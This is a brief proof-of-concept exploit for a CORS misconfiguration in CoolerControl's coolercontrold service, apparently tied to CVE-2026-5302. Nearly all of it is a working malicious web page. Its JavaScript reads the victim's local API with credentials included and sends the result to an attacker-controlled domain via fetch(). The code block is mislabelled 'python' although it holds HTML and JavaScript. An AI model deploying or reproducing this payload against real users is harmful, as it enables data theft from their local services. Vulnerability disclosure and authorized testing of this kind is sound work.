CORS misconfiguration in CoolerControl/coolercontrold <4.0.0 allows unauthenticated remote attackers to read data and send commands to the service via malicious websites
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5302: CORS Misconfiguration
This script attempts to read data from the vulnerable CoolerControl API.
-->
<html>
<body>
<script>
// Target the local CoolerControl API endpoint
const targetUrl = 'http://localhost:5000/api/v1/data';
function exploit() {
fetch(targetUrl, {
method: 'GET',
mode: 'cors',
credentials: 'include' // Include cookies if available
})
.then(response => response.text())
.then(data => {
console.log('Exfiltrated Data:', data);
// Send data to attacker's server
fetch('https://attacker-controlled-domain.com/log?d=' + encodeURIComponent(data));
})
.catch(error => console.error('Exploit failed:', error));
}
exploit();
</script>
</body>
</html>